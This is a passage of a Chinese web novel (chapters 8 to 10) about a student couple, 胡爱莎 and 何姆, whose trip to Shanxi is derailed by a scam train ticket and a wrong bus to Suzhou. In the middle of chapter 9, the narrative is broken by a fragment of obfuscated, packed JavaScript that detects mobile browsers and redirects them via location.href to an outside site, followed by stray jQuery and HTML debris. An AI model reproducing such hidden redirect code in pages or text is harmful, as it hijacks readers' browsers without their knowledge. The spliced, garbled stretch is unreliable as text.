不过命运似乎总是喜欢开玩笑。 高考结束后,两人报考了同一所大学,只不过两人专业不同,就读于不同的校区。 事实上,两人虽然同班三年,但关系并不算熟稔,连彼此的联系方式都没有。 但不论如何,两人能够在偌大的申城火车站重逢,胡爱莎也觉得这简直是万分之一的概率事件! “你说,我要不要和她打个招呼?”胡爱莎有些犹豫,她和李小英的关系并不算好,连普通朋友都算不上,但今天意外重逢,让胡爱莎相信这或许是命运的安排。 “如果不打招呼,你一定会后悔。我认为,你不要做让自己注定会后悔的事情。”何姆分析道。 “你说的很有道理!”胡爱莎已经彻底将何姆划分到自己的范畴内,相信他的建议。 如果她今天没有和李小英搭讪,她一定会牢牢记住这命运般的重逢,从而在往后的岁月中懊悔。既然注定会后悔的事,她必须现在就做! 胡爱莎深吸一口气,整理了下鬓角头发,没有过多犹豫,径直朝李小英的方向而去。 “你,是李小英吗?”胡爱莎说道。 李小英正在低头看手机,闻言抬头,发现胡爱莎后,忍不住推了推眼镜:“你——” “你也要回家吗?不过,你怎么现在这个时候回家?”胡爱莎好奇道。 她们是班上唯二两个去外省上学的,离开家乡后,同省就是老乡,此时胡爱莎看李小英的眼神,也充满了欣慰。 “呃——那个,你认错人了吧!”李小英收起手机,拽住行李箱,“我不是李小英,只是站在这里回消息,我的车快来了,再见!” 李小英拖着行李箱,迅速朝一个相反的站台方向走去。 胡爱莎目瞪口呆,凑近距离后,她笃定对方是李小英,因为这个女生和李小英脸上痣的位置都一模一样,怎么可能不是李小英呢? “所以,是你认错人了吗?”何姆距离胡爱莎不远,目睹了这一幕。 “怎么可能!”胡爱莎反应过来,“我明白了……她怎么可以这样!太过分了吧!” “什么?”何姆疑惑道。 “之前寒暑假回家的时候,我听原来班上的同学说,李小英发过个人动态,说自己前往一个新的城市上学,要彻底斩断和过去的联系——删了许多人的好友。”胡爱莎莫名感到一阵愤怒,“所以她刚刚也要假装不认识我!” 在很长一段时间内,胡爱莎都在因为自己的出身而自卑,同时又难以抑制地羡慕那些大城市出身的同学。 毫不夸张地讲,胡爱莎是到申城上大学之后,才第一次见到所谓的科技馆、海洋馆和博物馆等等教育设施。而这些设施,是大城市小孩从小就能接触到的事物。 但胡爱莎从来没有考虑过,否认自己的出身,否定自己的家乡。 直到现在,胡爱莎更不以自己的出身为耻,羊水确实是人生第一道分水岭。但她坚信,如果她能投胎到一线城市的家庭中,原本二本的成绩,她有自信考上双非一本;原本211的成绩,她能够考上985。 她并不比任何人差,甚至还要比接触过的本地同学要优秀! 何姆看着气鼓鼓的胡爱莎。 心中突然产生一股久违的悸动。 她是如此的鲜活,蓬勃,富有朝气。 他想到了胡爱莎找到自己,询问他是否愿意成为她男朋友的那一天。 8. 少女 火车硬卧分为上中下三个席位。 即使并不是春运或暑假高峰期,这趟列车也因为恰到好处的时间点,被旅客们挤得满满当当,没有多余的空位。 胡爱莎运气比较好,分到了下铺;何姆的运气要差上一些,分到了胡爱莎上方的中铺。 这趟列车始发站是申城,终点站到晋城,夕发朝至,横跨南北许多省份,是很多人,尤其是学生群体的优先选择。 胡爱莎对于这趟车的途径站点早就十分熟稔,一上车她便盘腿坐在床上,拿出提前买好的瓜子零食,以及下载了离线电视剧的电脑,开始追剧打发时间。 “何姆,你要下来一起看剧吗?”胡爱莎敲了敲床板,问道。 “什么剧?”何姆躺在床上,问道。 “《士兵突击》,王宝强演的。”胡爱莎说道,“很好看,之前咱们军训的时候,我就专门下载到电脑上,坐车的时候就重温一遍。” “不,谢谢。”何姆对这种热血沸腾的作品并不感兴趣。 “你居然不喜欢《士兵突击》?!”胡爱莎惊讶极了,“那你到底喜欢看什么?” 何姆在心里默默腹诽,他喜欢看一切和死亡有关的影视作品,比如一些恶俗的恐怖片、自然纪录片,甚至也包括一些外科手术相关的医学记录资料。 “我不喜欢看电视剧。”何姆只能这么说道。 “好吧——”胡爱莎有些遗憾,有些人就是这样,从来不看小说或者电视剧,她遇到过很多这样的人,并不算特别惊讶。 更何况,何姆这样自闭沉默的性格,他喜欢看电视剧才更让人惊讶。 相比于自得其乐的胡爱莎,何姆躺在中铺的床位上,有一种度日如年的煎熬之感。 车厢的空气并不流通,在这样炎热的夏日,以及满载旅客的负荷量之下,何姆怀疑最上方的空调根本没有出气。 何姆正上方的旅客是一位身手矫捷的中年大叔,他一上车便登上了床位,开始外放刷视频。 何姆不用打开自己的手机,仅凭聆听上铺的手机旁白,就能猜到对方手机屏幕的画面。 对方时不时会翻动身体,上方床板会发出“嘎吱嘎吱”的声音,很像是塑料板被挤压到极限的惨叫,何姆有些担心自己的安全。 除了糟糕的空气流通,以及上铺的人身威胁,整个车厢的环境也不容乐观。 半敞开式的包厢内总共有六个席位,胡爱莎那边还好,但对面是带着小孩的一家人。 两个小孩似乎对于坐火车卧铺这件事非常新奇,挤在妈妈身旁,发出兴奋地尖叫声。 他们的爸爸坐在走廊的椅子上看手机,时不时大声呵斥一下自己不听话的小孩。 其实何姆并不讨厌小朋友。但过了一会儿,这两个小孩穿鞋跑下床位,占据了左右两个横杆,开始试图比赛自己的攀爬能力。 一只小手始终在挠何姆的脚丫子,何姆忍了又忍,终于忍不住低头一看—— 孩子的爸爸不知道去了哪里,妈妈躺在床上呼呼大睡,根本没有人制止这两个吵闹的小鬼,何姆对上一双脏兮兮的花猫脸,很难再维系自己的淡定。 何姆俯身看了眼胡爱莎,发现她已经换了个姿势,仍旧沉浸在电视剧的世界中。 他只好重新躺回自己的床铺,尽可能贴着冰凉光滑的墙壁,默默聆听上铺传来的手机外放声。 就这样不知道过了多久,上铺大哥的手机声消失,取而代之的是沉重的呼噜声;走廊里奔跑打闹的小朋友们也被父母收回各自的床铺上;整节车厢渐渐安静下来,只能听到一些打电话的细碎交谈声…… 何姆探身看向窗外,发现不知何时,天色居然已经全部黑了下来。 一看时间,已经是晚上十点。 车厢的空调似乎被重新激活,随着一声沉重的嗡鸣,开始轰轰作响,输送出强劲的冷气,令整节车厢迅速冷却下来。 何姆不得不拉出卧铺提供的被褥,挡住了因为降温而战栗的皮肤。 中铺床位的间隙,何姆看到下铺传来的隐隐亮光,他趴在缝隙的位置,努力往下看。 胡爱莎戴着耳机,仍旧在看电视剧。 何姆试图跟着看,但他意识到胡爱莎把自己的电脑屏幕降低到最暗,他根本看不清人物的动作。 不过这样奇异的窥探视角,令何姆感到一阵隐秘的幸福,也愈发坚定了何姆对于自己的认知——他大概是一个真正的心理变.态。 就在这时,何姆突然听到一阵谈话声。 有人进入这节车厢,似乎正在逐一检查车票。 “先生,麻烦您出示一下车票——” “女士,您的车票——” 这道声音越来越近,何姆探头看向声音的源头,发现是身穿制服的车务工作人员,正在逐一核对车票。 胡爱莎戴着耳机,但也听见了这道声音,她摘下耳机,和何姆的视线对上。 “怎么办?”何姆小声道。 “我们有票,你怕什么!”胡爱莎有些不满。 虽然大多数时候,她认可何姆的情绪稳定,以及颇有智慧的观点,但在某些时刻,譬如现在,她总会有些嫌弃何姆的畏畏缩缩。 她不介意成为别人的大树,但她不想一直成为一株大树。 何姆的脑袋收了回去。 “等等,你看,我们现在到南京了!”胡爱莎指着窗外月光粼粼的河水。 “你来过这里吗?”何姆探出脑袋,看向车窗外,今晚的月色非常明亮,他能够看到一座高大的桥梁。 “坐火车会路过这里。”胡爱莎有些怀念道,“这里的地标建筑就是这座大桥,车站停留的时间也总会更久一些。” “原来是这样。”何姆收回脑袋。 又过了一会儿,检票员来到何姆和胡爱莎所在的床铺包厢。 “先生、女士,麻烦出示一下你们的车票,谢谢。”检票员声音温和,却自带一种催促的气场。 胡爱莎和何姆掏出车票,递给对方。 检票员自带一个皮夹本,里面存放着过夜旅客的车票,他会为这些旅客更换一枚塑料车票,在白天下车前过来更换成纸质车票。 他拿出工作手机,扫描两人的车票后:“先生,女士,还有十分钟你们就要到站了,请尽快做好下车准备。” 说完,检票员就准备前往下一个包厢。 胡爱莎却傻眼了:“等等,我们买的是去山西的车票呀!” “您的意思是说,我们的车票是到南京的?”何姆感觉到有一股冷气直接钻入他的天灵感,让他忍不住打了个哆嗦。 检票员停下脚步,看向胡爱莎和何姆两人:“是的。虽然这趟列车的终点站在山西,但你们只购买了从申城到南京的一段车票。” 他特意拿出手机,向两人展示扫描后的车票信息,确实是从申城到南京的短途车票。 “可是,这个车票是怎么回事?”胡爱莎已经隐隐有了猜测,但她不愿意相信。 “你们应该不是在官方渠道购买的车票吧?”检票员接过车票,认真 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但胡爱莎一抬手:“算了,谢谢您,我们这就收拾东西下车。” 检票员点了点头,转身前往另一个包厢。 两人的东西本就不多,各自带了一个书包,收拾起来非常迅速。唯一耗费时间的,居然是从床铺下来时系帆布鞋鞋带! 现在已经将近凌晨。 胡爱莎和何姆跟着沉默的人群下车,迎面冰凉的晚风,两人不自觉打了个哆嗦。 “我们接下来怎么办?”何姆看向胡爱莎。 “想办法走吧。”胡爱莎打开搜索软件,查询到时间最近的方案,“这里有一趟时间最近的汽车大巴,凌晨两点发车,前往郑州。” “郑州?”何姆有些疑惑。 “嗯,这里四通八达,是北方重要的交通枢纽,距离距离山西也并不远。”胡爱莎现在的行动力惊人,“我买了两张车票,现在我们去这里,白天就能抵达郑州。” 按照最理想的情况下,他们最迟今天傍晚就能抵达同学所在的城市,也就比原本的计划要迟一个白天而已。 “好、好吧。”何姆无条件服从胡爱莎的决策,他对生活中的很多事情都漠不关心,因而缺乏一定的生活常识。 他只在乎自己伟大的刺杀计划,只要能够实现自己的人生目标,他就会毫不犹豫地结束自己的生命。 南京的汽车客运站和高铁站在同一位置,两人顺着指路标识,只用了不到十分钟就抵达汽车站。 相比于申城站二十四小时不间断的热闹氛围,这里的深夜显得有些冷清,候车室的车次屏幕完全熄灭,只有值班室亮着一盏灯,以及零散旅客等车的身影。 距离发车还有两个小时,胡爱莎下意识靠在何姆身上,不自觉打起了瞌睡。 何姆感受到胡爱莎身上传来的热量,心中安定不少,但随即,何姆意识到,或许他应该和实验对象保持一定的距离。 无用的情感,只会徒增不必要的烦恼。 等到距离发车还有十分钟,何姆看到一辆长途大巴车驶入汽车站的停车场。 大巴车的挡风玻璃上贴着一张纸,上面写着车次号:【Z100】。 胡爱莎在网上购买的车票,并没有给何姆发来截图,但曾经向他展示了一下车次信息。 何姆对自己的记忆力有十足的自信。 他迅速推起胡爱莎,低声道:“我们的车来了!” 9. 少女 胡爱莎睁开眼睛。 她的神智尚未回笼,因为坐车的疲惫以及被突然叫醒,心里憋着一股火。 她瞪着何姆,想要找个理由发脾气。 但等到看清周围的环境,胡爱莎揉了揉眼睛,迅速清醒过来。 “我们的车到了吗?”胡爱莎低声道。 她很容易因为小事焦虑,也讨厌各种计划之外的“意外”。在每件事发生前,胡爱莎都会演练出各种各样可能的预案,甚至会想到最坏的应对结果。 从申城坐车到南京,已经算是一个“意外”。如果不是接连两段大巴和火车的路途,胡爱莎本应该“精力十足”焦虑,而非困到睁不开眼睛,只能让何姆提醒自己。 “嗯。”何姆眯起眼睛,看着前方,“车牌号没错。” 胡爱莎学着何姆的动作,但她是高度近视,眼睛还带有轻微的散光,在这样清晨的薄雾中,根本什么也看不清楚。 现在正值六月雨季,凌晨两点的气温令人瑟瑟发抖。 胡爱莎只穿了一套短袖,她下意识打了个寒颤,胳膊上冒出一层层鸡皮疙瘩。 她看向穿着衬衫的何姆:“你不冷吗?” 何姆摇头:“不冷。” 胡爱莎内心翻了个羡慕的白眼,她抚摸过何姆的胸膛,何姆比她还要瘦,胸膛也是十分硌人,没想到居然这么抗冻! 两人谈话间隙,长途大巴车已经驶入站台。 候车站台的人并不算多。 胡爱莎站起来,率先走在最前面。 何姆赶紧跟上,紧紧追随胡爱莎的步伐。 在大巴车停稳后,胡爱莎握住手机提前调出来的二维码,三步登上台阶,她用手指一划,展示屏幕上的两张截图:“两张票。” 说着,她用手指了下身后的何姆:“我们两个人。” 司机粗粗扫了一眼:“嗯。” 胡爱莎背着包,昂首挺胸走到前排位置。 何姆握紧书包肩袋,下意识朝司机露出一个微笑:“谢谢。” 可惜司机并没有理会他的笑容,转头核查下一个旅客的车票。 何姆深呼吸两下,坐到了胡爱莎身旁。 大巴车是一辆中型大巴。 在凌晨两点的时间,偌大的候车室十分空荡,只能看见零散旅客坐在椅子上打盹。 然而等到汽车驶入车站,站台内突然从四面八方涌入了一批不知道从哪里出现的旅客,他们没有人说话,只是沉默着排队,逐一上车让司机核查车票。 胡爱莎坐在第二排右侧靠窗的位置,她戳了下何姆,小声道:“你看到了吗?司机根本没有认真查票——” 她注意到,在一些旅客还没有展示车票的时候,司机就已经大手一挥,放人进来了。 “看到了。”何姆注意到,上车的人越来越多,居然已经快要把整个大巴扯填满。 胡爱莎“啧”了一声。自从离开生活了三年的大学后,她才深刻意识到,原来世界就是一个巨大的草台班子,生活的容错率远比她想象的要大。 验票环节大概持续了十分钟的时间。 就在司机启动引擎,大巴车准备出发时,迎面驶来另一辆大巴车。 “哎?你看见那辆车了吗?”胡爱莎隐隐有种不好的预感,在两辆车擦肩而过的瞬间,她似乎看到对方大巴车的电子屏幕上,划过了一个【100】…… 胡爱莎打开手机,发现自己定的两张前往郑州汽车站的车票,车次号正是【Z100】。 她又看了眼手机时间,发现此时此刻恰好是凌晨两点,是【Z100】的发车时间。 只是,如果对面来车才是他们要搭乘的正确车次,那现在这辆大巴车又是去哪里的呢? 何姆没有留意到迎面驶来的大巴车,等胡爱莎提醒后,他赶紧从车窗往外看,但那辆大巴车已经彻底驶入站台,完全看不清车次号码。 但听完胡爱莎的担忧后,何姆也有些担心,说出自己的观察结果:“这些旅客居然没有一个人扛着大行李箱,确实不太像是长途大巴的样子……” “那怎么办?”胡爱莎立马清醒了。 她可不想再坐错车了。 “不知道。”何姆默默捏紧了书包带子。 “我们要不要问问司机?”胡爱莎说道。 “唔——”何姆犹豫道,“已经开车了。” 言外之意,他认为在行驶途中,贸然站起来向司机搭话,是一件很奇怪的事情。——其实胡爱莎也是这么想的。 正当两人纠结时,胡爱莎突然察觉有人戳了戳自己的腰部。 “同学——”一道微弱的声音响起。 胡爱莎下意识皱眉,回头看向后排,发现是两个看起来和她差不多年龄的女生。 两人看着她和何姆,其中一个女生说道:“你们也是去郑州的吗?” “嗯。”胡爱莎反问道,“你们也是?” 那个女生说道:“嗯,我们是舍友,约好一起去郑州旅游,你们也在南京上学吗?” “不是,我们外地的。”胡爱莎否认道。 “哦哦。”女生想表达的重点并不是这个,她神色有些担忧道,“不知道你们刚刚看没看到车次号,我怀疑我们好像坐错车了。” 她的同伴补充道:“我们发现我们这辆车离开的时候,一辆贴着Z100车次的大巴车刚好进入站台。” 两个女生的话,肯定了胡爱莎的猜测,胡爱莎揪心道:“我也看见了!” “那怎么办?我们真的坐错车了吗?”女生问道。 “或许这辆车也是前往郑州的。”胡爱莎心存侥幸道。 “要不要问问司机?”另一个女生提出建议。 但话是这么说,四个人没有一个表现出想要主动站起来,朝司机询问的意向。 一直沉默的何姆打开手机地图软件:“你们看,这是我们的位置。” 地图软件上,大巴车化身一个小蓝点,正在缓慢朝一个方向移动。 然而从南京到郑州全程六百多公里,大巴车已经行驶的路程几乎短到看不出来。 胡爱莎伸出手指,放大何姆的手机屏幕:“去郑州确实要上高速。如果前面能拐弯上高速,应该就是正确的方向。” 后排的两个女生同样打开导航软件。 现在正是凌晨时分,公路上车辆寥寥。 不同于白天的热闹,车厢内陆续响起其他旅客的呼噜声。 然而,胡爱莎四人却毫无睡意,他们每个人都打开了导航软件,紧紧盯着屏幕上大巴车的移动方向。 一千米、五百米、三百米、五十米…… 眼看高速收费站的身影越来越近,但大巴车居然转了个弯,从旁边一侧的小径下去了! “您的路线已偏离,是否重新规划路线?”导航软件发出提示音。 胡爱莎心如死灰,眼睁睁看着大巴车偏离路线,越来越远。 “我们真的坐错车了吧!”后排的女生说道。 “也不知道这辆车到底要去哪里!”她的同伴哭丧着脸道。 “我们要不要问问司机?”女生纠结道。 胡爱莎深吸了一口气,心里莫名有些烦躁,她认为对方的暗示很明显,就是在怂恿她或者何姆去出头,但胡爱莎并不想出头。 她也说不上来为什么,可能她的性格就是拧巴,已经习惯了当一个“壁花”。 胡爱莎看向何姆,自从发现她们坐错车后,何姆基本没有发表过自己的意见。 “你不担心吗?”胡爱莎有些不高兴道。 “不担心。”何姆看着胡爱莎。 其实他并不在乎要去哪里,他只在乎能够和胡爱莎在一起,因为这关系到他的计划实施情况。 只要胡爱莎在他的身边,他就可以等到一个合适的机会,完成自己身为一个变.态的人生使命。 “为什么?”胡爱莎听到这样不负责任的言论,更加不高兴了。 “因为能和你在一起。”何姆认真道。 胡爱莎难得卡壳,顿了片刻后,她愤怒道:“你还是为我们的行程长点心吧!凭什么所有事情都是我在做!” “……好的。”何姆情绪稳定道,“其实你不需要过于担心。” “怎么说?”胡爱莎皱起眉头,她讨厌这种被对方当成傻瓜的感觉。 “因为如果这是一趟长途列车,起码大部分乘客应该携带大件行李箱的。”何姆打开手机屏幕,指着大巴车前进的方向,“所以,它大概率是在江浙沪一带转悠的短途大巴。” 胡爱莎听着何姆的分析,其实她认为何姆在装X,但不得不承认,他平稳的情绪无形之中缓解了胡爱莎内心的焦灼。 渐渐地,胡爱莎也没那么烦躁了。 “没关系的,不论我们最终会到达什么地方,我们都会回到正确的轨道。”何姆说道。 胡爱莎哼了一声,勉强接受了何姆的安慰。 这时,胡爱莎又察觉到后排女生在戳自己。 “同学,不好意思——”还是刚才主动搭讪的女生,她看着胡爱莎,神色为难。 “怎么了?”胡爱莎问道。 “我舍友手机快没电了,我们充电宝都没电了,你有带吗?”女生问道。 胡爱莎瞟了一眼女生的同伴,不论何时何地,她都讨厌这样让别人替自己询问的人类。 “我有,用我的吧。”何姆从包里翻出充电宝,递给对方。 “太谢谢你了!”女生连忙道谢,将充电宝递给同伴。 五分钟后,胡爱莎又被戳了戳后腰。 “同学,你男朋友这个充电宝,应该怎么用啊?”对方举着何姆的充电宝,纠结道。 胡爱莎:“……” “这是无线的,你把手机直接贴上去就行。”何姆赶紧道。 “我试了,没反应啊。”女生尴尬道。 “拆掉手机壳试试。”何姆说道。 “哎,这下行了,谢谢!”对方感激道。 “没关系。”何姆假笑道。 · 正如众人所预料得那般,这辆大巴车的终点并非郑州。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15176253|164782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原本六个多小时的车程,最终在两个小时后,大巴车抵达终点。 四人随着乘客们下车,站在“苏州汽车客运站”的门口,面面相觑。 两个多小时的车程,坐得胡爱莎尾巴骨的位置隐隐作痛。不止如此,胡爱莎感觉自己膝盖以下的部位也麻木了。 在公共厕所解决完成立需求后,四人又重新聚到了一起。 “还好是苏州,不是什么别的地方。”其中一个女生庆幸道。 “我们要不要一起拼车回南京?”另一个女生看向胡爱莎和何姆。 她们就是占小便宜吃大亏的典型代表,原本是贪图长途大巴车价格便宜,又能省下一晚上住宿费用,没想到居然直接坐错了车! 经此一役,她们已经彻底打消了去外地旅游的念头,准备回学校继续躺尸了。 “我们四个人拼车的话,一个人只要一百出头。”女生已经在联系包车服务。 “不,我们另有安排。”胡爱莎想都没想,直接拒绝。 “好吧,那我们就在这里等车接。”两个女生遗憾道。 何姆看着这两个女生,神色有些犹豫。 他们并不算是严格意义上的朋友,但不论怎么说,他们也算是拥有一同坐错车的情谊,就这样骤然分别,似乎有些奇怪。 正当何姆犹豫要不要打个招呼时,胡爱莎已经拽住何姆的胳膊,头也不回的离开。 “不用和她们打声招呼吗?”何姆难得纠结道。 “打什么招呼?”胡爱莎十分奇怪,“非亲非故的,谁认识谁啊!” “好吧。”何姆回头去看,发现那两个女生已经开始低头玩手机,也没有送别他们的意思。 胡爱莎并没有走得很远,她把何姆带到车站的另一侧,彻底避开那两个女生的身影后,她终于停了下来。 “我们接下来要去哪儿?”何姆问道。 “我在找。”胡爱莎打开手机,试图在网上搜索。 相比于南京,苏州距离郑州更远。 她原本只有一千多的存款,连续订了两次车票,再加上吃饭的费用,已经所剩无几。 想要去山西找到高中同学,旅行费用成为一大难题。 胡爱莎看了眼天色,不免有些心烦,如果计划顺利的话,她现在估计已经进入山西境内,再过一两个小时,就能见到同学本人。 然而生活没有那么多“如果”,或许从她相信那个票贩子开始,这趟旅途就注定坎坷。 “你想吃绿豆汤吗?”何姆突然道。 “什么?”胡爱莎沉浸在焦虑的情绪中,一时间怀疑自己的耳朵。 “绿豆汤。”何姆看着手机屏幕,念旅游攻略的内容,“有糯米,蜜枣,薄荷水——据说挺好喝的。或许我们还可以去一趟苏州博物馆,是贝聿铭设计的,我可以预约两张门票,据说也很好看。” “我找到了。”胡爱莎同样盯着手机屏幕,“这里有一个车行公司的电话,他们承接拼车业务,有去郑州的车,价格也比长途大巴要便宜将近一半的价格——怎么,有问题吗?” “不,没有。”何姆扯出一个假笑,“只是你不用担心,我还有钱,可以用我的钱。” 胡爱莎想都没想,直接拒绝道:“如果不是必要的情况,我不想花你的钱。即使我真的没钱了,我也是向你借钱。” “没关系的,我不会介意。”何姆说道。 “算了吧,你是比我有钱,但也不是那种富二代。”胡爱莎毫不留情道。 何姆瞬间不说话了。 他看着胡爱莎拨打那个车行公司的手机号码,对方回应很迅速,表示正好有车在汽车站附近,十分钟内就能派车接单。 敲定好价格费用后,胡爱莎挂断电话。 她又在社交平台上搜了这个车行的相关视频,发现这个车行是近两年才成立,主营业务在江浙沪一带,但也会涉及一些山河四省的跑车业务,网上评价普遍很好,没有找到差评。 胡爱莎心中大定,既然选择了私人包车的业务,料想旅途也不会再出现什么意外。 对方来得很迅速,一辆小型七座面包车抵达约定的地点。 司机是一个秃头大叔,看起来年龄已经不小了,穿着一身白色短袖。 “是你们两个订的车,是吧?”司机探出脑袋,招呼道。 他的普通话非常标准,听上去有北方口音,无形之中拉近了和胡爱莎的距离。 她立马道:“去郑州的。” “那没错,上车吧!”司机一挥手,按开车门。 胡爱莎拉开车门,才发现这辆七座车已经坐得满满当当,只剩下后排两个空余位置。 “你们没有多余行李是吧?”司机打量了眼两人,“正好这次拼车人多,后备箱也没有多余空位了。” 中间一排坐着两个男生。 后排只有一个拎着大书包的女生。 女生见到胡爱莎和何姆上车,赶紧挪了挪书包,挤到了座位最里边。 胡爱莎皱了皱眉,最终坐到了中间的位置上。 10. [锁] [此章节已锁] 上车后,胡爱莎才意识到。 一车乘客六人,除了她和何姆,每个人的终点目的地都是不同的。 这辆面包车也没有像胡爱莎料想的那样,直接上高速,反而拐到了普通的县级公路,又七扭八转,走到了一处偏僻的村落。 村路十分颠簸,道路上时不时还能看到赶羊人和羊群留下的痕迹,偶尔还会有一头哞哞叫的大黄牛。 胡爱莎十分怀疑她遇到了骗子,不然怎么会走到这样前不着村后不着店的的地方。 但她观察其他乘客的神色,发现就连自己身旁背着大包的女生,都神色淡定,脸上没有意外的神色。 司机更是狂野,从胡爱莎登车的那一刻,他压根就没有开过导航软件,完全凭借自己的经验和记忆里开车。 就这么颠簸了大概半个小时,面包车终于停在一处进村的道路前。 副驾驶座的男人拎着行李下车。 司机下车帮忙搬运行李,等男人离开后,他绕车一圈,又敲了敲后排的座位:“你们后排三个人,有没有人想坐前面的?” 根据开车的通常经验来看,前排座位更加稳定,不容易晕车。越往后排往往越颠簸,容易头晕恶心。 胡爱莎和何姆对视一眼。 何姆摇了摇头,他不晕车,也喜欢现在被挤到角落的位置。 胡爱莎倒是想去,但她考虑到何姆,最终还是转向旁边的女生:“你要去吗?” “我——”女生有些心动,也有些畏缩。 就在她纠结的时候,司机已经“砰”一声回到了驾驶座。 女生见状,默默闭上了嘴巴。 胡爱莎耸了耸肩,没有再说什么。 送走那个回村的男人后,面包车终于上了距离最近的一个高速路收费站。 胡爱莎用导航软件看了下,发现面包车的移动方向符合前往郑州的方向,也就没有再继续盯着导航软件看。 ——认真算起来,她从昨天下午两点出门,坐了一路车,根本没有完整的休息时间,也没有遇到合适的休息场地。 现在面包车只有六个人,唯一的噪音也就是司机播放的土味音乐声,已经堪称完美的休息场所。 胡爱莎身体往后一仰,挤到何姆身旁,确保自己不会乱动后,直接打起了瞌睡。 就这么睡了不知道多久,胡爱莎是被一阵争执声吵醒的。 她睁开眼睛,下意识看向窗外,发现不知不觉,太阳已然西沉,面包车一路疾驰,追赶着落日余晖。 等到意识彻底回笼,胡爱莎随即意识到,不知道什么时候车内中排的两个人已经下车,产生争执的双方正是司机和她旁边的那个女生。 胡爱莎皱眉凝神,努力去听两人争执的原因。但或许是胡爱莎太累了,她听了片刻,根本不明白两人到底在吵什么,只能看向何姆。 何姆举起手机,给她打字发消息。 原来还有半个小时就要抵达女生所在的县城高速路口,女生想要让司机送到城区。 但司机只想送到高速收费站路口,从路口到城区还有一段将近十公里的距离,因此两人产生争执。 司机大叔倒是也没有脸红脖子粗,但他强硬地坚持自己的观点:“小美女,我不是不愿意送你,但你最开始交的车费价格就这么多,我只能送你到这里——” “不是我订的你们车,是我叔叔帮我订的。”女生声音柔柔,听上去居然有几分娇嗔,她的年龄应该比胡爱莎还要小一些。 “不论谁订的,但钱就这么多,也不是我不想送你啊!咱们是不是要讲道理?”司机大叔一边反驳,一边不忘接电话拉生意。 女生见状,又不说话了。 司机挂断电话,继续道:“你们这条路我经常走,下了收费站路口,就有回城的公交,你自己坐公交回市区不行吗?” “公交站离我家挺远的……”女生幽怨的声音响起。 胡爱莎这才反应过来,两人能吵这么久不是没有原因的,女生只是声音听起来柔弱,但论固执程度并不比司机少。 一时间,胡爱莎居然有些佩服旁边的女生,起码要比她强多了! “那要不然这样,你加二十块,我下高速,给你送到城里。”司机说道。 “我想想吧——”女生犹豫道,她从书包里翻出手机,“我给家里人打个电话,看看他们能不能过来接我。” “也行,你打吧!”司机说道。 女生拨通家人的电话号码,她用的应该是这边的方言,胡爱莎听不太懂一些词语,但整体理解没有什么难度。 “喂?妈,爸爸在家吗?我马上到家了,但司机说只能放我到高速收费站这边,你能让爸爸过来接我吗?”女生低声道。 一时间,狭小的车厢,只能听见女生的说话声。 胡爱莎没有料到还有这样的插曲,听八卦听得入迷。 何姆十分不习惯这样径直窥探他人隐私的感觉,浑身刺挠,非常不自在。 如果可以,他都想直接跳车,等女生打完电话再回来。 电话那端的声音听不太清,对方不知道说了什么,女生回道:“是二伯帮我订的车,我也不知道会这样——钱他已经付了。” 对方似乎在向女生抱怨。 女生小声道:“嗯,不接也行,司机说再加二十块,能把我送到市区,到时候我转公交回去。你在家照顾弟弟,不用管我。” 经过一番漫长的沟通后,女生挂断电话,朝司机说道:“我爸的朋友来接我,你把我放到收费站的下车路口就行。” 司机应了声。 又过了十分钟,面包车驶下高速,拐到收费站的路口,女生下车。 胡爱莎这才发现,女生不止扛着一个巨大的书包,她还拎着一大一小两个行李箱。 司机帮忙把行李搬下去,但很显然,他不可能一直照顾女生。 于是趁司机回驾驶座的时间,胡爱莎发现,女生独自一人,十分艰难地将三件行李,逐一拎上台阶之上的公交站台,然后独自一人站在那里,低头看手机。 女生走后,这回胡爱莎没有犹豫,她主动移到了面包车中排的座位上。 何姆也跟随胡爱莎的动作,坐到她的右侧位置上。 女生下车后,原本拥挤的面包车,似乎骤然宽敞起来,只剩下司机、胡爱莎和何姆三人。 司机瞟了眼后视镜,主动道:“你们都是哪儿的人啊?” “山西。”胡爱莎说道。 “陕西?山西?”司机问道。 “山西,不是西安肉夹馍的那个。”胡爱莎纠正道。 “哦,我也是北方的,听你口音就觉得你不像南方人。”司机说道。 胡爱莎微微一哂,不知道应该如何回应。 “帅哥,你呢?”司机似乎是个自来熟,又问道。 “浙江的。”何姆连忙道。 “哇——有钱人啊!”司机感叹道。 “没有。”何姆露出假笑。 “你们去郑州做什么?”司机又问道。 “找同学。”胡爱莎给出一个含糊的答案。 “你们哪个学校的?”司机继续追问。 这个时候,胡爱莎已经不想再搭理眼前这个司机了。虽然这样唠家常的询问在司机这样的中老年群体中并不算奇怪,但胡爱莎本来就厌烦这样细致的查户口般的提问,更别提她是在叛逆逃学的路途中。 但很明显,何姆是无法和胡爱莎脑电波互通的,他看到胡爱莎没有搭理司机的提问,主动帮忙解围,暴露了两人的学校名称。 “哎呦!申城的大学,那可是重点大学呢!”司机感慨道,“我女儿今年上高二,她成绩一直不太好,要是能考上你们那所大学,我祖上都要烧高香了!” 胡爱莎闻言,用力掐住何姆的胳膊,然后捏住一点点肉,狠命拧了一下。 何姆只穿了一层格子衬衫,他立马拍掉胡爱莎的手,小声道:“怎么了?” 胡爱莎翻了个白眼,同样小声道:“别回答,行不行?” 司机没有听到两人的谈话,继续围着何姆追问道:“小帅哥,你家里是干嘛的?” “爸爸做生意的——”何姆老实道。 “哦,是大老板!”司机说道。 “不是。”何姆继续假笑。 胡爱莎再次用力翻了个白眼,低头玩手机,不再理会不识趣的何姆。 何姆察觉到胡爱莎生气的情绪后,终于学会了闭住嘴巴,不听不问不看,靠在车窗上假寐。 这时,司机也终于识趣般不再追问。 一时间,车厢内重新恢复了安静。 胡爱莎昏昏欲睡,没多久就再度陷入昏睡状态。 等到胡爱莎再次醒来,她转动眼珠,发现天色已经完全黑了下来,而面包车停在一处高速路的服务区。 胡爱莎稍微起身,膀胱处传来一阵尿意。 车上不见司机和何姆的身影,开了这么久的车,不难推测,两人应该去了厕所。 胡爱莎摸出手机,给何姆发了一条“上厕所,等我”的消息,从面包车下来。 